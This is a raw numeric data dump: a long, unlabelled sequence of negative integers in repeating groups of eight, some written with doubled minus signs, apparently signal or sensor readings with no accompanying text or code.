--67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -25 --67 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --48 -63 -137 -135 -23 --70 --118 --118 --50 -67 -137 -132 -23 --66 --118 --118 --47 -67 -137 -136 -24 --69 --118 --118 --48 -64 -137 -133 -24 --70 --118 --118 --47 -68 -137 -134 -26 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -23 --66 --118 --118 --49 -64 -137 -133 -23 --66 --118 --118 --48 -67 -137 -136 -25 --68 --118 --118 --49 -64 -137 -134 -22 --70 --118 --118 --50 -67 -137 -132 -23 --66 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -23 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --47 -69 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -23 --67 --118 --118 --45 -68 -137 -135 -25 --67 --118 --118 --45 -66 -137 -135 -24 --67 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --45 -66 -137 -136 -24 --68 --118 --118 --47 -68 -137 -136 -25 --68 --118 --118 --49 -63 -137 -135 -23 --67 --118 --118 --47 -68 --26 --92 --101 -23 -120 -14 --59 --89 -28 -117 -14 --77 --96 -20 -113 -8 --65 --99 -18 -110 -6 --81 --99 -18 -111 -5 --67 --97 -17 -113 -5 --80 --98 -19 -112 -6 --66 --96 -16 -109 -6 --80 --100 -15 -108 -4 --68 --101 -16 -113 -8 --84 --100 -15 -113 -10 --65 --100 -15 -110 -9 --82 --101 -14 -112 -9 --65 --101 -15 -112 -10 --81 --100 -15 -112 -10 --65 --101 -15 -112 -10 --81 --100 -16 -112 -10 --65 --100 -15 -113 -10 --81 --100 -15 -111 -9 --65 --100 -15 -112 -10 --81 --101 -14 -110 -9 --66 --101 -15 -112 -10 --82 --100 -15 -112 -10 --65 --101 -15 -112 -9 --82 --101 -15 -113 -10 --65 --101 -15 -112 -137 -137 -34 --57 --118 --118 --55 -60 -137 -130 -21 --71 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --47 -67 -137 -134 -26 --68 --118 --118 --50 -65 -137 -133 -23 --66 --118 --118 --46 -68 -137 -134 -25 --67 --118 --118 --46 -66 -137 -135 -23 --67 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -67 -137 -134 -25 --67 --118 --118 --47 -69 -137 -136 -26 --67 --118 --118 --48 -66 -137 -136 -24 --67 --118 --118 --46 -66 -137 -134 -26 --67 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --46 -67 -137 -136 -24 --66 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -66 -137 -135 -26 --66 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --46 -66 -137 -133 -24 --67 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --47 -68 -137 -135 -25 --67 --118 --118 --46 -68 -137 -134 -25 --67 --118 --118 --46 -66 -137 -134 -23 --68 --118 --118 --47 -66 -137 -134 -26 --68 --118 --118 --50 -66 -137 -132 -23 --65 --118 --118 --49 -65 -137 -134 -26 --69 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --49 -63 -137 -135 -22 --67 --118 --118 --47 -67 -137 -135 -24 --68 --118 --118 --49 -63 -137 -136 -23 --68 --118 --118 --47 -68 -137 -136 -23 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -68 -137 -134 -25 --67 --118 --118 --45 -67 -137 -136 -24 --66 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --45 -65 -137 -132 -23 --68 --118 --118 --50 -65 -137 -133 -23 --65 --118 --118 --47 -67 --27 --92 --100 -19 -116 -11 --60 --88 -28 -117 -12 --76 --96 -19 -111 -6 --66 --100 -17 -110 -5 --81 --98 -18 -111 -5 --64 --97 -18 -110 -6 --83 --98 -17 -110 -7 --63 --99 -20 -110 -9 --83 --97 -18 -112 -7 --66 --98 -18 -113 -6 --80 --97 -19 -113 -7 --66 --99 -20 -112 -7 --81 --98 -19 -111 -137 -137 -36 --58 --118 --118 --54 -60 -137 -130 -20 --56 --118 --118 --50 -63 -137 -135 -22 --69 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --47 -68 -137 -132 -24 --66 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --47 -66 -137 -134 -23 --68 --118 --118 --48 -68 -137 -136 -26 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --45 -67 -137 -136 -25 --68 --118 --118 --45 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -23 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --48 -67 -137 -135 -23 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --47 -67 -137 -137 -24 --66 --118 --118 --48 -68 -137 -136 -26 --68 --118 --118 --46 -68 -137 -134 -24 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -65 -137 -136 -26 --69 --118 --118 --46 -67 -137 -134 -23 --68 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --47 -66 -137 -136 -24 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -67 -137 -136 -26 --69 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --45 -67 -137 -136 -26 --67 --118 --118 --47 -68 -137 -134 -24 --67 --118 --118 --45 -67 -137 -137 -26 --66 --118 --118 --45 -67 -137 -135 -25 --67 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -67 -137 -135 -26 --69 --118 --118 --47 -68 -137 -136 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --47 -67 -137 -136 -23 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -23 --67 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --45 -65 -137 -136 -26 --67 --118 --118 --45 -67 -137 -136 -24 --66 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -24 --67 --118 --118 --46 -66 -137 -136 -24 --66 --118 --118 --45 -68 -137 -136 -25 --67 --118 --118 --46 -68 --28 --90 --100 -22 -118 -14 --75 --89 -27 -119 -11 --59 --96 -20 -112 -7 --82 --98 -15 -109 -7 --65 --100 -17 -109 -8 --84 --98 -17 -112 -6 --66 --99 -19 -110 -9 --83 --96 -16 -112 -8 --66 --99 -16 -108 -4 --83 --99 -16 -108 -3 --68 --101 -14 -110 -9 --82 --101 -14 -112 -9 --65 --101 -15 -108 -137 -137 -33 --57 --118 --118 --55 -59 -137 -130 -21 --71 --118 --118 --46 -66 -137 -134 -25 --67 --118 --118 --47 -68 -137 -133 -23 --68 --118 --118 --47 -68 -137 -133 -25 --67 --118 --118 --45 -66 -137 -133 -24 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --47 -68 --28 --92 --100 -21 -120 -14 --59 --89 -27 -118 -13 --76 --96 -19 -111 -6 --66 --100 -17 -111 -6 --83 --97 -16 -109 -6 --64 --99 -16 -108 -7 --83 --101 -14 -114 -10 --66 --100 -15 -109 -8 --82 --101 -14 -112 -9 --66 --101 -14 -109 -8 --83 --100 -15 -114 -10 --65 --100 -16 -108 -137 -137 -33 --57 --118 --118 --56 -59 -137 -130 -19 --70 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --47 -67 -137 -134 -27 --69 --118 --118 --48 -64 -137 -134 -23 --70 --118 --118 --49 -66 -137 -133 -24 --65 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --45 -67 -137 -135 -24 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --49 -64 -137 -135 -23 --66 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -68 -137 -134 -25 --67 --118 --118 --46 -66 -137 -136 -25 --68 --118 --118 --48 -64 -137 -135 -23 --69 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --46 -66 -137 -136 -26 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --46 -67 -137 -134 -27 --67 --118 --118 --50 -65 -137 -132 -23 --66 --118 --118 --47 -67 -137 -134 -25 --67 --118 --118 --46 -66 -137 -134 -25 --68 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --47 -68 -137 -135 -25 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --45 -67 -137 -135 -24 --68 --118 --118 --47 -69 -137 -135 -26 --67 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --46 -65 -137 -134 -26 --65 --118 --118 --47 -67 -137 -136 -23 --66 --118 --118 --50 -64 -137 -134 -23 --66 --118 --118 --46 -68 -137 -134 -25 --67 --118 --118 --45 -66 -137 -135 -24 --68 --118 --118 --47 -67 -137 -136 -24 --67 --118 --118 --47 -66 -137 -136 -25 --67 --118 --118 --46 -67 --26 --91 --101 -22 -120 -14 --60 --87 -25 -117 -14 --78 --97 -20 -111 -6 --64 --99 -18 -110 -6 --82 --99 -18 -112 -5 --66 --97 -18 -112 -7 --81 --98 -19 -111 -8 --65 --99 -17 -112 -7 --83 --97 -16 -108 -4 --68 --101 -15 -113 -9 --83 --101 -14 -112 -10 --65 --101 -14 -111 -9 --82 --102 -14 -111 -9 --66 --101 -15 -112 -10 --80 --100 -15 -111 -9 --66 --101 -14 -112 -9 --81 --101 -14 -112 -9 --66 --100 -15 -112 -10 --82 --100 -14 -112 -10 --65 --100 -15 -113 -11 --80 --100 -16 -111 -9 --66 --101 -14 -112 -9 --82 --100 -15 -113 -10 --65 --100 -15 -109 -9 --82 --101 -15 -114 -10 --65 --100 -16 -110 -137 -137 -34 --57 --118 --118 --57 -56 -137 -129 -19 --73 --118 --118 --51 -66 -137 -132 -23 --66 --118 --118 --47 -66 -137 -135 -24 --68 --118 --118 --47 -68 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --45 -67 -137 -136 -25 --68 --118 --118 --49 -64 -137 -134 -23 --70 --118 --118 --48 -68 -137 -135 -25 --67 --118 --118 --45 -66 -137 -136 -25 --68 --118 --118 --49 -63 -137 -135 -22 --67 --118 --118 --47 -68 -137 -136 -24 --66 --118 --118 --46 -68 -137 -134 -25 --67 --118 --118 --46 -66 -137 -134 -25 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -68 -137 -132 -24 --65 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --48 -67 -137 -134 -24 --68 --118 --118 --48 -68 -137 -133 -24 --68 --118 --118 --48 -68 -137 -135 -27 --69 --118 --118 --47 -68 -137 -135 -24 --68 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --48 -64 -137 -134 -23 --70 --118 --118 --50 -66 -137 -132 -22 --66 --118 --118 --47 -68 -137 -136 -24 --66 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -63 -137 -135 -22 --69 --118 --118 --48 -66 -137 -136 -24 --67 --118 --118 --47 -66 -137 -135 -25 --68 --118 --118 --46 -68 -137 -134 -25 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --47 -66 -137 -135 -25 --69 --118 --118 --48 -65 -137 -133 -25 --69 --118 --118 --47 -68 -137 -134 -26 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -134 -25 --68 --118 --118 --46 -68 -137 -134 -25 --68 --118 --118 --48 -67 -137 -134 -23 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --49 -64 -137 -136 -23 --67 --118 --118 --47 -68 -137 -136 -25 --69 --118 --118 --49 -65 -137 -132 -24 --70 --118 --118 --46 -68 -137 -134 -26 --67 --118 --118 --45 -66 -137 -135 -27 --69 --118 --118 --45 -67 --28 --93 --100 -22 -120 -14 --59 --89 -28 -117 -15 --78 --94 -17 -108 -4 --68 --102 -14 -113 -9 --83 --101 -14 -113 -10 --65 --101 -15 -110 -9 --82 --101 -15 -113 -10 --66 --100 -15 -110 -9 --82 --100 -15 -114 -10 --65 --100 -16 -110 -9 --82 --100 -15 -114 -10 --65 --100 -15 -111 -9 --82 --100 -15 -113 -10 --65 --100 -15 -109 -8 --82 --100 -15 -114 -10 --65 --100 -16 -111 -10 --82 --100 -15 -113 -10 --65 --100 -16 -109 -8 --83 --101 -14 -113 -9 --65 --101 -15 -110 -9 --82 --101 -15 -113 -10 --65 --101 -15 -110 -8 --82 --101 -15 -114 -10 --65 --100 -16 -108 -4 --84 --101 -16 -114 -9 --67 --100 -15 -113 -10 --81 --100 -15 -110 -9 --66 --101 -15 -114 -10 --81 --100 -15 -110 -9 --66 --101 -15 -113 -10 --81 --100 -15 -112 -9 --66 --101 -14 -112 -9 --81 --101 -14 -112 -9 --66 --100 -15 -114 -10 --80 --100 -15 -110 -9 --66 --101 -15 -113 -9 --82 --101 -15 -112 -10 --66 --100 -15 -113 -137 -137 -34 --57 --118 --118 --57 -57 -137 -128 -20 --73 --118 --118 --50 -64 -137 -134 -25 --70 --118 --118 --48 -66 -137 -136 -23 --66 --118 --118 --48 -68 -137 -135 -26 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --47 -66 -137 -135 -26 --68 --118 --118 --49 -64 -137 -134 -22 --66 --118 --118 --47 -68 -137 -136 -25 --69 --118 --118 --48 -67 -137 -134 -24 --68 --118 --118 --49 -64 -137 -135 -23 --66 --118 --118 --47 -68 -137 -134 -26 --67 --118 --118 --46 -66 -137 -134 -26 --66 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -65 -137 -136 -23 --66 --118 --118 --49 -64 -137 -134 -23 --66 --118 --118 --46 -68 -137 -136 -26 --66 --118 --118 --45 -67 -137 -135 -23 --66 --118 --118 --45 -67 -137 -135 -25 --67 --118 --118 --46 -66 -137 -134 -23 --68 --118 --118 --47 -66 -137 -136 -24 --67 --118 --118 --47 -66 -137 -135 -25 --68 --118 --118 --47 -67 -137 -132 -25 --65 --118 --118 --47 -68 -137 -134 -25 --67 --118 --118 --46 -66 -137 -134 -23 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -67 -137 -135 -24 --66 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --48 -65 -137 -131 -22 --70 --118 --118 --48 -67 -137 -134 -25 --67 --118 --118 --45 -66 -137 -134 -24 --68 --118 --118 --48 -68 -137 -135 -25 --67 --118 --118 --45 -66 --25 --92 --102 -21 -120 -12 --58 --87 -27 -118 -12 --77 --96 -20 -112 -9 --65 --100 -19 -110 -5 --81 --98 -17 -111 -6 --66 --99 -18 -112 -6 --81 --97 -19 -112 -7 --65 --98 -20 -111 -9 --81 --100 -19 -110 -8 --65 --99 -19 -112 -6 --82 --97 -17 -111 -7 --66 --98 -18 -113 -8 --81 --98 -20 -111 -137 -137 -36 --58 --118 --118 --54 -60 -137 -129 -20 --71 --118 --118 --49 -65 -137 -131 -22 --70 --118 --118 --46 -64 -137 -134 -23 --70 --118 --118 --48 -68 -137 -134 -26 --68 --118 --118 --50 -64 -137 -136 -23 --66 --118 --118 --46 -68 -137 -134 -24 --67 --118 --118 --46 -66 -137 -136 -24 --67 --118 --118 --46 -68 -137 -136 -24 --68 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --46 -66 -137 -135 -23 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -23 --68 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --48 -64 -137 -136 -22 --69 --118 --118 --51 -67 -137 -132 -22 --66 --118 --118 --47 -68 -137 -135 -24 --67 --118 --118 --46 -66 -137 -136 -23 --67 --118 --118 --47 -66 -137 -136 -25 --68 --118 --118 --45 -66 -137 -132 -23 --68 --118 --118 --50 -68 -137 -132 -23 --65 --118 --118 --47 -68 -137 -134 -25 --67 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --48 -65 -137 -134 -23 --70 --118 --118 --47 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -23 --68 --118 --118 --47 -67 -137 -135 -26 --69 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --47 -68 -137 -136 -25 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -64 -137 -136 -22 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --45 -68 -137 -134 -24 --68 --118 --118 --48 -68 -137 -134 -23 --68 --118 --118 --49 -64 -137 -135 -23 --70 --118 --118 --49 -64 -137 -135 -22 --67 --118 --118 --47 -68 -137 -136 -26 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -69 -137 -134 -24 --68 --118 --118 --47 -68 -137 -135 -24 --68 --118 --118 --46 -66 -137 -136 -25 --68 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --47 -67 -137 -135 -24 --68 --118 --118 --46 -69 -137 -136 -27 --68 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --45 -66 -137 -136 -24 --68 --118 --118 --47 -66 -137 -136 -25 --68 --118 --118 --48 -64 -137 -134 -23 --70 --118 --118 --49 -65 -137 -134 -23 --66 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -23 --68 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --45 -66 --25 --92 --102 -21 -120 -13 --74 --88 -27 -119 -12 --62 --95 -17 -110 -9 --82 --100 -19 -109 -8 --67 --100 -16 -112 -7 --82 --100 -18 -111 -7 --66 --97 -16 -110 -8 --80 --99 -18 -110 -8 --68 --98 -17 -111 -6 --83 --99 -18 -110 -6 --66 --97 -17 -110 -8 --80 --98 -18 -113 -6 --64 --98 -20 -112 -137 -137 -35 --59 --118 --118 --55 -60 -137 -128 -21 --70 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -65 -137 -133 -26 --66 --118 --118 --48 -64 -137 -135 -24 --69 --118 --118 --50 -66 -137 -132 -23 --66 --118 --118 --48 -68 -137 -135 -25 --68 --118 --118 --47 -67 -137 -135 -25 --67 --118 --118 --45 -68 -137 -134 -25 --68 --118 --118 --47 -68 -137 -135 -25 --67 --118 --118 --45 -66 -137 -135 -23 --67 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --45 -67 -137 -136 -26 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -68 --28 --90 --101 -22 -120 -13 --60 --86 -26 -120 -12 --78 --94 -19 -112 -7 --66 --99 -18 -111 -5 --81 --98 -18 -111 -7 --66 --99 -19 -111 -8 --81 --98 -18 -112 -7 --65 --99 -19 -110 -9 --82 --98 -16 -108 -4 --67 --100 -15 -107 -5 --84 --101 -15 -113 -9 --66 --101 -15 -109 -8 --83 --100 -14 -112 -137 -137 -35 --57 --118 --118 --58 -58 -137 -129 -19 --69 --118 --118 --48 -67 -137 -136 -25 --68 --118 --118 --47 -67 -137 -136 -25 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -67 -137 -136 -23 --67 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --46 -68 -137 -136 -24 --67 --118 --118 --47 -68 -137 -134 -24 --67 --118 --118 --45 -67 -137 -136 -24 --67 --118 --118 --46 -66 -137 -136 -25 --68 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --49 -63 -137 -136 -22 --67 --118 --118 --47 -67 -137 -136 -24 --69 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --49 -63 -137 -136 -22 --68 --118 --118 --47 -68 -137 -135 -24 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --45 -66 -137 -135 -24 --68 --118 --118 --47 -68 -137 -134 -26 --66 --118 --118 --49 -64 -137 -135 -22 --66 --118 --118 --46 -68 -137 -136 -26 --66 --118 --118 --46 -67 -137 -136 -23 --66 --118 --118 --45 -68 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --49 -64 -137 -136 -22 --68 --118 --118 --48 -68 -137 -136 -25 --67 --118 --118 --46 -66 -137 -135 -23 --68 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --45 -65 -137 -136 -27 --68 --118 --118 --50 -65 --26 --94 --88 -18 -120 -16 --76 --91 -23 -117 -14 --62 --98 -16 -111 -9 --81 --102 -13 -108 -7 --68 --102 -14 -111 -9 --82 --100 -14 -110 -8 --67 --101 -15 -112 -10 --82 --100 -15 -110 -8 --66 --100 -15 -112 -9 --81 --100 -15 -109 -7 --67 --101 -15 -113 -10 --81 --101 -15 -108 -7 --67 --101 -15 -113 -137 -137 -34 --57 --118 --118 --58 -56 -137 -129 -18 --70 --118 --118 --48 -67 -137 -134 -26 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -66 -137 -136 -26 --67 --118 --118 --47 -66 -137 -133 -23 --69 --118 --118 --48 -68 -137 -133 -24 --68 --118 --118 --48 -66 --25 --94 --102 -23 -118 -16 --59 --89 -28 -117 -14 --77 --96 -17 -108 -4 --68 --102 -13 -110 -8 --82 --102 -14 -109 -8 --67 --101 -14 -112 -9 --81 --100 -14 -110 -9 --66 --100 -15 -113 -10 --81 --100 -15 -110 -8 --66 --100 -15 -112 -10 --81 --100 -15 -108 -6 --68 --101 -15 -113 -137 -137 -34 --57 --118 --118 --58 -57 -137 -128 -18 --70 --118 --118 --48 -67 -137 -133 -24 --68 --118 --118 --47 -68 -137 -135 -25 --68 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --46 -67 -137 -135 -26 --67 --118 --118 --46 -65 -137 -134 -25 --67 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --49 -64 -137 -135 -23 --68 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --46 -69 -137 -134 -24 --68 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --47 -66 -137 -136 -24 --67 --118 --118 --46 -68 -137 -134 -25 --67 --118 --118 --45 -66 -137 -135 -25 --68 --118 --118 --48 -64 -137 -133 -24 --70 --118 --118 --49 -64 -137 -135 -23 --69 --118 --118 --49 -63 -137 -136 -22 --67 --118 --118 --46 -68 -137 -135 -26 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --49 -63 -137 -134 -23 --70 --118 --118 --50 -67 -137 -132 -23 --65 --118 --118 --47 -67 -137 -134 -24 --67 --118 --118 --46 -66 -137 -135 -24 --69 --118 --118 --47 -69 -137 -134 -25 --67 --118 --118 --45 -66 -137 -136 -26 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --46 -65 -137 -135 -27 --69 --118 --118 --45 -66 -137 -134 -24 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -137 -24 --65 --118 --118 --47 -68 -137 -134 -25 --67 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --47 -69 -137 -136 -26 --67 --118 --118 --46 -68 -137 -134 -25 --67 --118 --118 --48 -67 -137 -134 -23 --66 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -66 -137 -134 -23 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --45 -67 -137 -134 -25 --68 --118 --118 --46 -67 --28 --91 --101 -21 -118 -13 --60 --89 -26 -118 -12 --76 --97 -19 -113 -8 --65 --99 -18 -109 -8 --83 --98 -15 -107 -3 --69 --101 -14 -113 -9 --82 --101 -14 -112 -10 --65 --100 -15 -111 -10 --82 --101 -15 -112 -9 --65 --101 -15 -110 -9 --82 --101 -14 -113 -9 --65 --101 -15 -110 -9 --82 --101 -14 -113 -137 -137 -34 --57 --118 --118 --58 -57 -137 -130 -18 --69 --118 --118 --47 -68 -137 -136 -24 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -65 -137 -137 -23 --66 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --45 -67 -137 -137 -25 --67 --118 --118 --45 -67 -137 -135 -24 --68 --118 --118 --45 -68 --26 --91 --101 -23 -118 -17 --76 --70 -26 -118 -12 --61 --97 -19 -112 -6 --83 --98 -16 -112 -6 --67 --97 -15 -107 -4 --84 --102 -15 -113 -8 --68 --101 -14 -112 -9 --82 --101 -14 -111 -9 --65 --101 -15 -112 -10 --81 --101 -15 -110 -9 --66 --101 -15 -112 -9 --81 --100 -15 -110 -9 --66 --101 -14 -113 -10 --80 --101 -14 -111 -9 --65 --101 -14 -111 -9 --82 --100 -15 -113 -10 --65 --100 -15 -113 -10 --82 --100 -15 -113 -10 --65 --100 -15 -112 -10 --82 --100 -15 -113 -10 --65 --101 -15 -111 -9 --82 --100 -15 -114 -10 --65 --100 -15 -110 -9 --82 --101 -15 -113 -10 --65 --101 -15 -109 -8 --83 --100 -15 -114 -137 -137 -34 --57 --118 --118 --56 -61 -137 -131 -21 --71 --118 --118 --47 -67 -137 -135 -24 --68 --118 --118 --47 -68 -137 -135 -24 --68 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --46 -66 -137 -134 -24 --66 --118 --118 --45 -67 -137 -135 -24 --68 --118 --118 --49 -64 -137 -136 -23 --66 --118 --118 --47 -67 -137 -133 -25 --67 --118 --118 --46 -65 -137 -136 -27 --69 --118 --118 --47 -68 -137 -136 -23 --66 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -66 -137 -132 -22 --67 --118 --118 --46 -64 -137 -132 -23 --70 --118 --118 --46 -68 -137 -134 -25 --66 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --45 -67 -137 -136 -24 --68 --118 --118 --48 -67 -137 -135 -23 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --46 -66 -137 -136 -23 --67 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --46 -66 -137 -136 -23 --67 --118 --118 --45 -68 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --45 -66 -137 -134 -26 --66 --118 --118 --45 -66 -137 -134 -23 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -25 --68 --118 --118 --47 -68 -137 -135 -25 --67 --118 --118 --47 -66 -137 -135 -25 --67 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --48 -64 -137 -136 -23 --69 --118 --118 --50 -66 -137 -132 -22 --66 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --45 -68 -137 -136 -25 --68 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --46 -65 -137 -136 -24 --69 --118 --118 --48 -68 -137 -134 -26 --66 --118 --118 --49 -64 -137 -136 -23 --68 --118 --118 --46 -65 -137 -132 -22 --70 --118 --118 --47 -68 -137 -136 -26 --67 --118 --118 --47 -68 -137 -135 -24 --68 --118 --118 --48 -65 -137 -136 -23 --70 --118 --118 --50 -64 -137 -134 -23 --66 --118 --118 --46 -68 -137 -136 -26 --66 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --49 -64 -137 -136 -22 --66 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --47 -68 -137 -134 -24 --67 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --49 -63 -137 -136 -22 --66 --118 --118 --47 -68 -137 -137 -24 --68 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --45 -68 -137 -136 -25 --67 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --49 -64 -137 -136 -22 --67 --118 --118 --47 -66 -137 -134 -24 --68 --118 --118 --47 -67 -137 -136 -25 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -66 -137 -136 -24 --67 --118 --118 --49 -64 